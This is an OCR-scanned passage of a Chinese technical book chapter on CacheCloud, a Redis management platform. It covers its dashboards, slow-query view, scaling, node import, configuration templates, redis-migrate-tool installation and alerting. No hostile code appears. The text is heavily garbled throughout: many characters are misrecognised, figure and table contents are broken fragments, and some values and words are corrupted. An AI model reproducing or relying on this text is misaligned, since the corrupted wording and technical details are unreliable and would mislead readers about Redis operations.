统计 例如 直接 调用 info 命 令 ) ， 而 应 用 统计 信息 是 周期 性 统计 后 进行 汇总 
生成 的 ， 所 以 会 有 一 定 的 延迟 。 
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13.$.3 ”应 用 详情 


单 击 “ 应 用 详情 ?选项 不 ， 可 以 看 到 三 个 模块 : 应 用 详情 、 用 户 管理 、 报 


警 指标 ， 如 图 13-25 所 示 。 


应 用 详情 : 应 用 id、 应 用 名 称 、 应 用 申请 人 、 应 用 类 型 、 报 警 用 户 、 


负责 人 、Redis 市 点 拓扑 、appkey 等 。 

用户 管理 : 对 该 应 用 的 用 户 权 限 进行 设置 ， 添 加 进来 的 用 户 能 有 应 用 
的 访问 权 。 

:应 用 报警 配置 : CacheCloud 面 向 用 户 的 报警 配置 比较 少 ， 只 有 内 存 和 


连接 数 ， 相 关 报 警 主要 集中 在 管理 员 层 面 ，13.6 节 会 对 CacheCloud 监 控 报 警 
做 详细 介绍 。 
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13.5.4 ”命令 曲线 


“命令 曲线 ”选项 卡 会 按照 命令 的 调用 总 次 数 做 倒 排 序 ， 展 示 出 每 个 命令 
最 近 两 天 的 调用 量 ， 可 以 帮助 开发 人 员 快 速 定位 到 命令 执行 次 数 是 否 正 常 ， 
如 图 13-26 所 示 。 


应 用 统计 信息 。 实 鹿 列 表 | | 命令 由 绪 ”命令 执行 。 搂 入 代码 。 慢 查 询 。 应 有 出 5 


应 用 详情 报警 指标 





应 用 id | | WH 报答 key 网 值 。 周期 
应 用 申请 人 L 1 ”内 在 使 用 率 大 于 390% ”每 20 分 钟 
报警 用 户 2 寄 户 问 连 接 数 大 于 2000 。 每 20 分 冲 
内 在 宇 间 48.00G 


主 节点 数 24 





appKey d2ea4850cfD6cb4767b1ac00a7fca953. 


图 13-25 ”应 用 详情 页 面 


开始 日 期 : 2016-10-22 结束 日 期 : 2016-10-23 





O 〇 hgetalOirange 〇 expire 〇 hmset 其 余 命令 : [ji 汉 择 加 
全 命令 统计 








02:00 04:00 06:00 08:00 10:00 12:00 14:00 16:00 


一 命令 趋势 图 (2016-10-22) 一 命令 趋势 图 (2016-10-21) 








图 13-26 命令 调用 曲线 
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13.5.5 ”CacheCloud Redis Shell 控 制 台 


“命令 执行 ?选项 卡 借鉴 了 Redis 官 网 上 的 TryRedis (http://try.redis.io/》， 


可 以 在 控制 台中 执行 Redis 命 
图 13-27 所 示 。 


appId:10129> info 

米 SerVer 

redis Version:3.0,.7 
redis git shal:00000000 

redis git_dirty:0 

redis build id:186eba9451cf9390 
redis mode:cluster 

CC 2.6.18-274.el15 Xx86_64 
arch bits:64 

multiplexing api:epoll 


gcc_version:4.1.2 


process id:31844 
run_id:4041d924345d548d95dbb89fa84ba5a9b46a8e07 
tcp _ port:6382 

uptime_in_seconds:44414026 

uptime in days:514 

hz:10 

lru clock:717587 


令 ， 可 以 辅助 开 友 人 员 快 速 但 询 相 关 数 据 ， 如 


config_file:/opt/cachecloud/conf/redis-cluster-6382.confE 


图 13-27 





CacheCloud Redis Shell 控 制 台 
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13.5.6” 慢 查询 


“ 慢 查 询 ” 选 项 卡 会 展示 应 用 下 每 个 节点 近 2 天 〈 有 日 期 查询 框 可 选 ) 的 
慢 查 询 ， 便 于 找到 系统 可 能 存在 的 瓶 贷 点 ， 如 图 13-28 和 图 13-29 所 示 。 


一 共 878 次 慢 查 询 





10.10.xx.28:6385 


10.10.xx.79:6380 


10.10.xx.77:6380 


10.10.xx.95:6382 


10.10.xx.79:6379 


10.10.xx.183:6383 




















1 
10.10.xx.28 SET cache_key_over_playlist... 











图 13-29” 某 个 节点 的 慢 查 询 
©,.,. 


CacheCloud 会 每 隔 $ 分 钟 收 集 所 有 Redis 节 点 的 慢 查 询 保存 到 MySQL， 这 
样 会 存在 漏 掉 慢 查询 的 可 能 性 ， 例 如 Redis 节 点 在 这 $ 分 钟 内 产生 了 大 量 慢 查 
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询 。 
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13.5.7 ”应 用 拓扑 





“应 用 拓扑 ”选项 卡 展示 应 用 下 所 有 Redis 所 在 机 器 的 拓扑 信息 ， 实 心 的 
方块 代表 主 节 点 ， 同 一 列 的 空心 方块 代表 从 节点 ， 如 图 13-30 所 示 ， 它 是 一 
个 包含 了 24 主 24 从 的 Redis Cluster 集 群 ， 并 且 集 群 中 没有 出 现 主 从 市 点 同 机 
铝 的 情况 ， 但 是 当前 集群 在 傈 儿 台 机 器 上 局 动 过 多 的 主 市 皮 ， 该 功能 方便 及 
时 有 发现 当前 集群 部 车 结构 存在 的 问题 





CacheCloud 会 每 隔 1 分 钟 收 集 应 用 下 所 有 节点 的 info 信 息 ， 并 将 部 分 属性 
做 差 值 计 算 〈 例 如 命令 、 网 络 流量 、 过 期 键 数量 等 等 ) ， 然 后 将 它们 进行 汇 
总 保存 到 MySQL 中 ， 前 面 的 介绍 的 统计 报表 都 是 从 MySQL 中 获取 并 制作 成 
图 表 的 。 除 此 之 外 ，CacheCloud 还 会 对 机 器 信息 、 内 存 、 连 接 数 、AOF 重 

、 慢 查询 等 做 定期 收集 ， 每 种 收集 都 是 在 一 个 线程 池内 异步 执行 的 ， 而 整 
体 的 调度 依赖 quartzt 1"， 整 个 过 程 如 图 13-31 所 示 。 


代表 master 节 点 代表 slave 节 点 


机 器 ea Re 实例 ”实例 实例 实例 ee 实例 ”实例 实例 实例 实例 实例 实例 实例 实例 实例 实例 实例 实例 实例 实例 实例 
对 3 对 4 对 5 对 6 对 8 对 9 对 10 对 11 对 12 对 13 对 14 对 15 对 16 对 17 对 18 对 19 对 20 对 21 对 22 对 23 


10.10xx.177 | sj] | sj 
10.10xx.134 


10.10.xx.197 
10.10.xx.179 
10.10.xx.193 
1otowmes 贺 
10.10.xx.62 
10.10.xx.183 


10.10.xx.53 


10.10.xx.52 





图 13-30 ”应 用 拓扑 
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客户 端 统 计 (1 分 钟 


Redis info (1 分 钟 ) 被动 收集 





定时 位 务 
Quartz 





实例 慢 查 询 持 久 化 
(1 q 时 ) 






~ 
| 
SIR wg 
EY 
( 
EE 
> 
Ey 
取舍 


MD SD 
和 

AAA 
De 









机 器 下 实例 (5 分 钟 ) 
心 蜗 ”AOF 重 写 





图 13-31 CacheCloud 调 度 收 集 各 种 统计 信息 
[1| http://www.quartz-scheduler.org 
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13.6 ” 运 维 功能 





CacheCloud 作 为 Redis 的 运 维 工 具 ， 包 含 了 Redis 日 常 运 维 的 常用 功能 ， 
本 节 将 对 如 下 功能 进行 介绍 : 


1) 应 用 运 维 : Redis 节 点 的 上 下 线 、 手 动 故障 转移 、 配 置 管理 、 扩 容 


等 。 
2) 接 入 已 存在 的 Redis: 将 已 经 存在 的 Redis 接 入 到 CacheCloud 。 
3) Redis 配 置 管理 ， 对 Redis 配 置 进行 模板 化 管理 。 


4) 迁移 工具 : 实现 Redis Standalone、Redis Sentinel、Redis Cluster、 


AOF、RDB 之 间 数 据 迁 移 。 
5) 监控 报警 : 机 器 、 应 用 、 实 例 各 个 维度 的 监控 报警 。 


6) 系统 配置 CacheCloud 系 统 的 全 局 配置 。 
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13.6.1 ”应 用 运 维 


CacheCloud 的 应 用 运 维 主要 包含 以 下 几 个 方面 : 
-应 用 上 下 线 。 

-Redis Sentinel 运 维 。 

:Redis Cluster 运 维 。 

:配置 管理 。 

垂直 扩容 和 水 平 扩容 。 

1 应 用 上 下载 


我 们 已 经 通过 CacheCloud 自 动 化 部 署 了 应 用 〈 上 线 ) ， 那 么 当 需 要 将 这 
个 应 用 下 线 时 ， 如 何 操作 以 及 要 注意 哪些 呢 ? 管理 员 进 入 CacheCloud 后 台 ， 
进入 全 局 统计 选项 卡 ， 可 以 看 到 应 用 列表 ， 其 中 就 包含 了 应 用 下 线 的 按钮 ， 
如 图 13-32 所 示 。 





多 | 应 用 类 型 儿 | 内 存 详情 多 已 运行 时 间 (天 ) 人 参 操作 


$ 
redis-cluster ”| BU Total i | 725 运行 应 用 下 线 


redis-sentinel “| Fo4G Used/2.00G Total 725 运行 应 用 下 线 | 应 用 运 维 
rdscust EN se7 | 




















图 13-32 ”应 用 下 线 


应 用 下 线 会 做 如 下 操作 : 
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-将 应 用 所 有 的 Redis 节 点 关 掉 。 





CacheCloud 停 止 应 用 下 所 有 节点 统计 任务 。 
:将 应 用 的 状态 变 为 下 线 ， 客 户 端 无 法 集群 使 用 已 下 线 应 用 。 


将 所 有 Redis 节 点 的 状态 变 为 下 线 ， 这 样 客户 端 获取 的 Redis 节 点 列表 代 


© nn 


1) 应 用 下 线 属 于 比较 重要 的 操作 ， 需 要 应 用 方 和 CacheCloud 管 理 员 确 
认 后 方 可 进行 ， 下 线 应 用 无 法 再 次 上 线 。 








2) 超级 管理 员 组 的 用 户 才 有 权限 下 线 应 用 ， 超 级 管理 员 组 的 配置 方法 
请 参考 13.6.6 节 。 


2. 应 用 运 维 


单 击 应 用 运 维 按钮 即 可 进入 和 运 维 界面 ， 图 13-33 为 Redis Cluster 的 运 维 界 
面 。 
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实例 实例 状态 ”角色 主 实例 ID ”内存 使 对 象 数 连接 数 ”命中 率 ”碎片 案 AOF 阻 塞 数 ”日志 ”操作 


加 uy ee ne 加 nj i 


I I | 


图 13-33 ”Redis Cluster 运 维 界面 














主要 包含 如 下 功能 


实例 基本 信息 : 运行 状态 、 角 色 、 内 存 使 用 状态 、 对 象 数 、 连 接 数 、 
命中 率 、 日 志 查 看 等 。 


下 线 实 例 : 对 该 节点 执行 shutdown 操 作 ， 并 关闭 该 节点 相关 监控 任 


务 。 
上 线 实 例 : 针对 已 下 线 的 节点 ， 重 新 启动 该 节点 并 重新 加 入 监控 。 
添加 从 节点 : 可 以 为 主 市 皮 添 加 一 个 从 节点 ， 只 需要 填写 节点 丰 即 
可 。 


:FailOver: 手动 完成 Redis Cluster 主 从 节点 的 故障 转移 ， 其 中 failover 操 
作 支 持 三 种 方法 : failover、failover force、failover takeover。 


3. 配 置 管 理 
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用 户 提 交配 置 修改 的 工 单 后 ， 管 理 员 在 后 台 流 程 审批 中 完成 配置 确认 和 
审批 ， 如 图 13-34 所 示 。 


4. 应 用 扩容 


用 户 提 交 容 量 伸 缩 的 工 单 后 ， 管 理 员 可 以 在 后 台 的 流程 审批 选项 卡 看 到 
容量 伸缩 的 相关 条 目 ， 单 击 审批 处 理 ， 即 可 进入 扩容 页 面 ， 如 图 13-35 所 





钞 。 


p 置 项 : | maxmemory-policy 





pb 置 值 ; | allkeys-lru 





图 13-34 ”应 用 和 实例 配置 修改 


扩容 配置 : | 请 输入 扩容 后 单 实 例 最 大 内 存 ( 填 写 数 字 即 可 ， 单 位 MB) 





图 13-35 ”扩容 审批 








默认 会 进入 垂下 扩容 界面 ， 需 要 填写 的 是 每 个 实例 的 maxmemory 以 
MB 为 单位 )， 点 击 “ 保 存 ” 即 可 。 


© 
垂直 扩容 : 修改 每 个 Redis 实 例 的 maxmemory。 


:水平 扩容 : 添加 新 的 节点 ， 迁 移 slots 等 ， 可 以 参考 10.4 市 。 
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如 果 本 次 扩容 需要 水 平 扩 容 ， 点 击 水 平 扩容 按钮 即 可 ， 和 需要 两 步 来 完 
成 : 
1) 填写 一 对 主 从 节点 〈 主 从 节点 不 能 是 同一 个 了 下) ， 如 图 13-36 所 示 。 


2) 填写 源 节点 id 和 目标 节点 id， 以 及 要 迁移 的 slot， 单 击 migrate 按 钮 ， 
即 可 开始 一 个 迁移 任务 。 列 表 下 方 会 显示 实时 的 迁移 进度 。 


主 从 分 片 配置 : | Fr 


| 








图 13-36 ”添加 新 的 节点 


sourceld start slot | end sjot | targetld | migrate | 


节点 列表 











id ip:port Slot 





10,10.xx.1 0-4096 


10,10.xx.2 4097-8193 





10.10.xx.3 8194-12290 





10,10.xx.4 12291-16383 





10,10.xx.5 


迁移 任务 列表 





taskld 


10.10.xx.1->10.10.xx.5 
slot: 0~100 


图 13-37 水平 扩容 操作 界面 
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有 关 水 平 扩 容 有 两 点 需要 注意 : 





:不 要 过 度 依赖 水 平 扩 容 ， 在 开启 应 用 分 配 资源 时 ， 提 前 做 好 规划 更 重 
要 ， 因 为 迁移 无 论 对 客户 端 还 是 服务 端 都 有 一 定 的 成 本 。 





迁移 速度 上 ，migrate<set<AOF<RDB， 所 以 在 需要 做 数据 迁移 时 ， 要 于 
清真 正 需要 什么 粒度 的 迁移 。 <1i=""> 
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13.6.2” 接 入 已 存在 的 Redis 节 点 


到 目前 为 止 ，Redis 都 是 通过 CacheCloud 开 启 的 ， 那 么 已 经 存在 的 Redis 
节点 如 何 接 入 到 CacheCloud 中 呢 ? 操作 步 又 如 下 : 


1) 管理 员 用 户 命令 下 拉 沫 单 中 导入 应 用 链接 。 


2) 填写 导入 应 用 表单 ， 如 图 13-38 所 示 ， 最 重要 的 就 是 实例 详情 。 与 部 
蜀 应 用 不 同 的 是 ， 由 于 当前 导入 的 市 点 已 经 存在 ， 所 以 除了 p 和 


maxmemory， 还 需要 填写 端口 写 。 
































; E E | 实例 详情 

| 村 MI S]1 ! 10.10.xx.1:6379:1024 
| 人 人 | 

| Redis1 Redis2 | 10.10.xx.2:6379:1024 
1 | - | 

; -一 过 10.10.xx.3:6379:1024 
| ee _/ ue O_/ 1 

长 让 10.10.xx.4:6379:1024 
| [ 、 : 10.10.xx.5:0379:1024 
| : M3 到 S3 

1 Sr | 10.10.xx.6:6379:1024 
| Redis5 Redis6 | 





Redis1~6 分 别 为 10.10.1 一 6 端口 为 6379 的 Redis 节点 组 成 的 Redis Cluster 


图 13-38 ”CacheCloud 接 入 已 经 存在 的 Redis 
Redis 数 据 节 点 和 Sentinel 节 点 格式 如 下 : 


:Redis 数 据 节 点 : ip: port maxmemory (单位 为 MB) 。 
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“Sentinel 节 点 : ip: port: masterName。 


具体 格式 参考 实例 列表 下 面 的 说 明 即 可 ， 这 里 就 不 占用 篇 幅 了 。 但 是 有 
几 点 需要 注意 ， 如 下 情况 会 造成 检查 格式 失败 : 








-机 器 不 受 CacheCloud 管 理 。 


.Redis 节 点 不 存在 。 





Redis 节 点 已 经 在 CacheCloud 中 《可 以 在 机 堪 管 理 中 得 询 ， 或 者 直接 得 
询 instance info 表 ) 。 








Sentinel 节 点 masterName 为 空 或 者 与 真实 masterName 不 符 。 





Redis 节 点 市 点 包 合 密码 ， 此 功能 和 暂 不 文 持 密码 。 





.Redis 节 点 没有 配置 maxmemory， 会 展示 不 出 来 应 用 内 存 统计 。 


验证 格式 并 点 击 开始 导入 ， 就 可 以 将 填写 的 Redis 节 点 导入 到 
CacheCloud 中 ， 包 括 应 用 信息 、 实 例 信 息 、 应 用 和 实例 的 各 种 统计 信息 的 收 
集 就 会 生效 ， 报 表 就 可 以 展示 出 来 ， 并 且 相 关 报 警 也 会 自动 启动 。 那 么 将 已 
经 存在 的 Redis 接 入 CacheCloud 到 底 做 了 什么 呢 ? CacheCloud 不 会 对 Redis 节 
点 造成 任何 性 能 上 影响 ， 只 做 了 如 下 三 件 事 : 





1) 验证 输入 内 容 。 
2) 保存 应 用 信息 、 实 例 信息 、 应 用 与 实例 关系 信息 。 


3) 开局 统计 功能 每 分 钟 执行 一 次 info 命 令 )。 
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13.6.3 ”Redis 配 置 模板 


该 功能 可 以 对 每 次 开启 的 Redis 节 点 添加 配置 模板 ， 如 图 13-39 为 后 台 
Redis 配 置 模板 的 管理 页 面 。 


添加 新 配置 十 Redis 类 型 : 
Redis 普 通 配 置 


daemonize: 是 否 守护 进程 





tcp-backlog: TCP 连 接 完成 队列 


timeout: 客户 端 闲置 多 少 秒 后 关闭 连接 ,默认 





tcp-keepalive: 检测 客户 端 是 否 健康 周期 ,默认 关闭 





loglevel: 日 志 级 别 





databases: 可 用 的 数据 库 数 ， 默 认 值 为 16 个 , 默 














dir: redis 工 作 目 录 





图 13-39 Redis 配 置 模板 管理 


可 以 看 到 Redis 配 置 模板 管理 提供 了 对 配置 模板 的 增删 改 查 功能 ， 按 照 
Redis 普 通 节点 、Sentinel 节 点 、Cluster 节 点 分 别 展示 。 当 管理 员 设 置 好 认为 
最 好 的 配置 时 ， 可 以 点 击 “ 配 置 预览 >， 即 可 看 到 配置 模板 预览 ， 如 下 所 示 。 
但 需要 注意 该 功能 是 配置 模板 ， 不 是 修改 线 上 配置 。 




















Redis 普 通 节点 配置 ， 所 用 参数 port=6379,maxmemory=2048 配置 模板 预览 ; 
daemonize no 

tecp=lbacklog 511 

timeout 300 

tcp-keepalive 60 

loglevel notice 

databases 16... 














例如 读者 当前 使 用 的 是 Redis3.2 版 本 ， 那 么 束 可 以 添加 诸如 protected- 
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mode、 supervised、list-max-ziplist-size、list-compress-depth 等 3.2 版 本 的 新 参 
数 。 
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加 


13.6.4 迁移 


1. 功 能 说 明 
数据 迁移 工具 可 以 完成 如 下 功能 : 


:支持 在 RDB 文 件 、AOF 文 件 、Redis Standalone、Redis Sentinel、Redis 
Cluster，Cache-Cloud 应 用 之 间 进 行 数据 迁移 ， 如 图 13-40 所 示 支 持 任意 两 种 
类 型 的 数据 源 和 目标 进行 数据 迁移 。 





数据 迁移 能 够 保证 实时 性 ， 如 果 合 理 使 用 可 以 基本 保证 一 致 性 。 


以 可 视 化 方式 实现 迁移 流程 控制 。 


| Standalone Pr | Standalone 

| Sentinel | Sentinel 
Cluster 

| appld / - appld 

| AOF | AOF | 


@) 
8 


RDB RDB 
ye EE 
数据 源 目标 
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图 13-40 ”CacheCloud 迁 移 工 具 
2.CacheCloud 数 据 迁 移 工具 是 如 何 实现 的 ? 


CacheCloud 数 据 迁 上 其 底层 使 用 的 是 唯 品 会 公司 开源 的 redis-migrate- 


tooll!|。 


redis-migrate-tool 是 用 C 语 言 开发 的 Redis 数 据 迁 移 工 具 ， 可 以 做 到 在 
Standalone、Sentinel、Cluster、RDB、AOF 之 间 迁 移 数据 ， 服 务 于 唯 品 会 公 
司 数 千 个 Redis 节 点 ， 无 论 从 数据 迁移 的 准确 性 、 稳 定性 、 高 效 性 等 方面 都 

能 满足 生产 环境 的 需求 ， 所 以 CacheCloud 选 择 它 作为 数据 迁移 的 基础 组 件 ， 
CacheCloud 通 过 可 视 化 的 方式 完成 节点 数据 迁移 、 进 度 碍 询 、 日 志 碍 询 、 配 
置 查询 、 历 史记 录 等 功能 








redis-migrate-tool 是 基于 复制 的 原理 ， 将 迁移 工具 伪装 成 从 节点 ， 所 以 
是 实时 迁移 的 ， 这 点 比 起 Redis 自 带 的 redis-trib.rb 的 import 命 令 功 能 要 强大 很 
多 ， 如 图 13-41 所 示 。 
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re plication 





图 13-41 CacheCloud 迁 移 基本 原理 


3. 部 署 和 使 用 


1) 准备 迁移 工具 所 有 的 机 器 。 为 CacheCloud 诡 加 一 台 机 器 专门 用 于 数 
据 迁 移 。 只 不 过 在 CacheCloud 添 加 机 器 时 候 ， 机 器 类 型 选取 “Redis 迁 移 工具 


建议 选择 一 台 单 独 的 机 器 作为 迁移 工具 机 器 。 


2) 安装 部 署 redis-migrate-tool: 








#1 .进入 cachecloud 目 录 

cd /opt/cachecloud/ 

#2 .下 载 redis-migrate-tool, 在 写本 书 时 还 没有 release 版 本 ， 如 果 有 了 请 自行 替换 

wget https:// github.com/vipshop/redis-migrate-tool/archive/master.zip -0 maste 


#3 .。 重 命 名 解压 等 




















unzip master.zip 
mv redis-migrate-tool-master redis-migrate-tool 


849 


cd redis-migrate-tool 

#4 。 创建 数据 目录 用 来 存储 redis-migrate-tool 配 置 和 数据 

mkdir -p data 

#5 。 编译 

$ autoreconf -fvi 

$ ./configure 

$ make 

#6 . 验证 安装 成 功 

$ src/redis-migrate-tool -h 

#7 。 修改 目录 权限 为 ssh 用户 

chown -R {cachecloud-ssh-username}.{cachecloud-ssh-username} /opt/cachecloud/re 
migrate-tool 
























































4. 添 加 迁移 任务 


选择 迁移 数据 工具 后 ， 再 点 击 添加 新 的 迁移 任务 ， 即 可 看 到 如 图 13-42 
的 迁移 工具 界面 。 


迁移 工具 机 器 : | 10.10.94.190 





原 和 目标 配置 


源 类 型 : Redis 普 通 节点 $ 目标 类 型 : Redis 普 通 节点 








数据 源 ;: “| 非 cachecloud $ 数据 源 : cachecloud 








目标 appld: 











源 密码 ; 没有 无 需 填写 目标 密码 : 








源 实例 详情 : 。 | 节点 详情 目标 实例 详情 : 





图 13-42 ”CacheCloud 迁 移 工具 界面 


表单 中 左右 两 侧 分 别 代表 数据 源 节 点 和 目标 节点 。 两 侧 分 别 可 以 选择 
Redis Cluster、Redis Sentinel、Redis Standalone、AOF、RDB， 上 有 具体 的 节点 列 
表 可 以 是 ip: port 列 表 也 可 以 是 CacheCloud 的 appId， 只 要 按照 列表 下 面 的 说 
明 格式 填写 即 可 。 





格式 验证 后 即 可 开启 了 一 个 迁移 的 任务 。 如 图 13-43 所 示 ， 可 以 可 视 化 
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地 观察 迁移 日 志 、 关 闭 迁 移 任务 、 迁 移 状 态 查 询 ， 详 情 可 以 参考 CacheCloud 
官方 博客 和 redis-migrate-tool 的 GitHub 文 档 。 


添加 新 的 迁移 





id | 迁移 工具 源 数据 目标 数据 


10.10,xx,134;8888 | 非 cachecloud cachecloud:10327 
/opt/cachecloud/aof/appendonly-6385.aof 10.10.xx.146:6391 
it 10.10.xx.150:6393 

redis cluster 





10.10.xx.50:8888 | 非 cachecloud cachecloud:10327 10040 
10.16.xx.182:6379 10.10.xx.146:6391 
single 10.10.xx.150:6393 I 34:59 
redis cluster 


图 13-43 ”迁移 管理 界面 
[1| https://github.conyvipshop/redis-migrate-tool 
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13.6.$ ”监控 报警 


如 图 13-44 所 示 ，CacheCloud 有 8 个 功能 涉及 短信 和 邮件 接口 ， 其 中 左 侧 
四 个 前 面 的 章节 已 经 进行 了 介绍 ， 本 节 将 介绍 CacheCloud 监 控 报 警 的 相关 业 


DIE OB ee ee SO 


1 ) 
| | 应 用 申请 和 审批 | | 应 用 上 日报 、 基 党 统计 | | 
| 
nn 3 
| | 配置 申请 和 审批 | | Redis 实例 心 融 (mobile) | | 
| cs | 
二 | 
| i > 2 2 > » 一 > 二 方 ” 弟 er 
| | 六 家 申请 和 审批 。 | 应 用 内 存 、 连 接 数 加 值 | ， 
ee CC 
| Je ee | 
:| 用 户 注 册 和 审批 | 上 机 器 性 凶 疼 值 (mobile) | ， 


图 13-44 ”CacheCloud 邮 件 和 短信 相关 业务 


1. 短 信和 邮件 接口 


在 正式 介绍 报警 业务 之 前 ， 有 必要 介绍 一 下 后 台 的 系统 配置 管理 中 两 个 
接口 : 邮件 报警 接口 和 短信 报警 接口 。 这 两 个 接口 为 HTTP 接 口 ， 这 样 接口 
的 实现 就 不 会 限于 茶 种 语言 ， 和 它们 是 邮件 和 短信 通知 和 报警 的 基础 。 





有 具体 参数 如 表 13-3 所 示 。 


表 13-3 ”邮件 和 短信 接口 参数 
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接口 参数 是 否 必需 
title ae 题 是 

Ee RE 
ever | 收 件 信 列表 是 

| | 抄 送 人 列表 否 
msg 短信 内 容 是 


手机 号 列表 是 


短 信 接 口 





2. 有 临 控 报 警 
监控 报警 的 内 容 有 : 


1) 应 用 日 报 。 每 天 10 点 ， 所 有 CacheCloud 用 户 会 收 到 应 用 前 一 天 的 使 
用 状态 ， 如 图 13-45$ 所 示 ， 其 中 包含 客户 端 相 关 统 计 和 服务 端 相 关 统 计 ， 
功能 便于 用 户 及 时 了 解 目 身 应 用 的 使 用 状态 。 


redis-cluster i 态 : | 运行 中 
张 益 军 Ee | 2014-10-27 15:17:41 


。 客户 端 相关 (确保 使 用 有 客户 端 统计 的 版 本 ): 


0. 05I-0. lk: st0161 大 
0. 10.2k:134459 次 | | 
: 0. 2kr0.5k:895919 次 : | i | 
次 a ij 
停 户 庙 值 分 布 0 窜 户 江 异常 个 富 户 3 江 演 接 数 最 大 值 :13370 
天 ): 10-20k:20498 次 数 (全 天 ): | 每 分 钟 “i 平均 值 : 11614 
2-5k; 32684402 次 : : : : 
20-50k: 4175248 次 
5-10k:8817243 次 : | ! ! 


。 服务 端 相关 : 


和 
得 查询 个 数 ( 命令 次 数 侮 最 大 值 ;3167367 命中 率 侮 分 ， 
全 天 3 | A 分 h: | 平均 值 :1572188 加): Ts 


0 


a Ee ee Ni BE ea 

最 大 使 用 量 :39290 4 ne Bar mao nm 

平均 值 : BT863483 i 者 平均 值 :645.72 外 pi | 平均 :80.99 由 
最 大 值 :76217535 分钟 ): : 最 大 值 :2062.79 贞 每 分 钟 ) 最 大 :915.29 出 





图 13-45”CacheCloud 日 报 


异常 统计 报警 〈 邮 件 ) 。 每 天 10 点 ， 所 有 CacheCloud 管 理 员 会 收 到 
系统 前 一 天 的 异常 ， 如 下 所 示 : 





CacheCloud 异 常 统计 ， 日 期 :2016-09-16; 服 务 器 :10.16.14.181 ;总 数 : 67: 
java.util.concurrent.RejectedExecutionException=42 
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org.springframework.dao.DeadlockLoserDataAccessException=22 
com.sohu.cache.exception.SSHException=2 
org.springframework.dao.DatalntegrityViolationException=1 

















这 样 管理 员 可 以 了 解 CacheCloud 服 务 端的 一 些 运 行 状态 ， 如 果 发 现 异 名 
较 多 ， 可 以 尽快 处 理 。 





3) Redis 实 例 心 跳 ( 邮 件 和 短信 ) 。CacheCloud 会 每 5 分 钟 对 所 有 Redis 
节点 做 心跳 检测 〈3 次 ping 操 作 ) ， 如 果 检 测 失 败 (3 次 ping 都 失败 )， 管 理 
员 会 收 到 Redis 节 点 心跳 停止 的 消息 ， 例 如 下 面 就 是 appId=10001 的 某 个 节点 








CacheCloud 系 统 - 实 例 (10 .10 .xx.1 :6381) 一 由 运行 中 变 为 心跳 停止 appId:10001-zanking-online 




















个 


如 果 下 一 次 检测 到 Redis 已 经 恢复 (3 次 ping 命 令 ， 有 一 次 ping 通 ) ， 管 
理 员 同样 会 收 到 Redis 节 点 已 经 运行 的 消息 ， 如 下 所 示 : 








CacheCloud 系 统 - 实 例 (10 .10 .xx.1 :6381) 一 由 心跳 停止 变 为 运行 中 ,， appId:10001-ranking-online 























需要 注意 的 是 ， 心 跳 停 止 和 下 线 是 两 个 概念 ， 下 线 是 管理 员 操 作 的 ， 
跳 停 止 是 Cachecloud 判 断 的 ，Redis 节 点 是 否 真 的 宕 挥 需要 管理 员 确 认 。 








4) 应 用 内 存 和 客户 端 连 接 数 (邮件 和 短信 ) 。CacheCloud 会 每 隔 20 分 
钟 ， 检 测 应 用 以 及 应 用 下 每 个 Redis 节 点 的 内 存 和 客户 端 连接 数 是 否 超过 预 
设 阀 值 (第 一 次 申请 应 用 和 应 用 详情 界面 可 以 设置 )。 


/ 


例如 应 用 总 体内 存 超过 阀 值 会 收 到 如 下 消 居 : 




















应 用 (10001) -内 存 使 用 率 报警 ~ 预 设 百 分 之 90- 现 已 达到 百 分 之 92 .88- 请 及 时 关注 
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例如 应 用 单个 Redis 节 点 超过 内 存 预 设 内 值 会 收 到 如 下 消息 : 













































































分 片 (10.10.xXx.1:6380, 应 用 (10001) ) 内 存 使 用 率 报警 ~ 预 设 百 分 之 90- 现 已 达到 百 分 之 92 . 28 一 应 用 的 内 存 使 用 率 百 分 之 8& 





同样 客户 问 连 接 数 ， 也 是 如 此 同样 会 收 到 如 下 消 奶 : 














分 片 (10 .10 .xx.1:6380, 应 用 (10001) ) 客户 端 连接 数 报警 ~ 预 设 25 00- 现 已 达到 2525- 请 及 时 关注 























5) 机 器 性 能 报警 (邮件 和 短信 ) 。CacheCloud 会 每 小 时 对 机 器 的 内 
存 、 负 载 、CPU 进 行 监控 ,一 旦 超过 预 设 阀 值 ， 将 会 收 到 如 下 信息 : 





iB:10.L0:Xx. 1 上 ad:10579 





机 器 报警 闪 值 管理 员 只 需要 在 后 人 台 的 系统 配置 管理 中 ， 按 照 图 13-46 设 
置 即 可 。 











图 13-46 ”机 器 性 能 报警 阀 值 设置 


Os 


CacheCloud 己 经 计划 在 后 期 的 版 本 中 加 入 机 器 信息 详细 统计 以 及 相关 报 


警 功能 ， 保 证 功能 完整 性 。 
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13.6.6 ”系统 配置 管理 


本 节 对 CacheCloud 后 台 的 系统 配置 管理 进行 汇总 说 明 ， 如 表 13-4 所 示 。 


表 13-4 ” CacheCloud 系 统 配 置 管理 说 明 表 
默认 什 


ssh 用 户 名 CacheCloud 与 机 器 通信 的 ssh 用 户 名 cachecloud 
机 器 ssh 密码 CacheCloud 与 机 器 通信 的 ssh 密码 cachecloud 
CacheCloud 根 目录 机 器 部 署 CacheCloud 的 根 目录 lopt 
rT | 
登录 | admin 密码 admin 
超级 管理 员 组 比 普 通 管理 员 权 限 更 高 ， 可 以 下 线 应 用 admin,xx,yy 
站 |- 报警 闪 值 80 
报警 | 内 存 报警 网 值 80 
负载 报警 间 值 8 
生理 风 W 作 下 | 人 和 车 GSF) | GE 
a 管理 员 手 机 列表 手机 号 报警 (这 号 隔 开 ) 1381234*t% 137876S% 
接口 | 邮件 报警 接口 奖 
空 
可 用 的 客户 端 版 本 号 1.0-SNAPSHOT 


客户 端 | 警告 的 客户 端 版 本 号 ， 虽 然 可 用 ， 但 是 建议 
GE 户 端 > 
要 订 | 于 全 在 站 吉 朋 本 尽快 替换 


不 可 用 客户 端 版 本 不 可 用 客户 端 版 本 号 ，REST 接口 会 返回 错误 |0.0 


业务 


网 
式 











六 


v 


0.1 












用 户 登 录 状 态 保 存 方式 分 为 Session 和 cookie Session 
cookie 登录 方式 所 需要 | 如 果 使 用 cookie 保存 登录 状态 ， 需 要 配置 域 | 、 


ET 
Ye. 


登录 | 的 域名 多 
相关 CacheCloud 的 登录 默认 只 对 用 户 有 没有 在 用 
LDAP 接口 地 址 户 列表 (后台 用 户 管理 ) 里 进行 校 验 。 如 果 需 要 | ldap://ldap.xx.com 
登录 密码 验证 ， 可 以 配置 该 接口 


全 局 的 客户 端 连 接 数 报警 ， 防 止 每 个 应 用 自 
应 用 连 2000 
用 连接 数 报警 阀 值 己 设 置 了 错误 数 县 


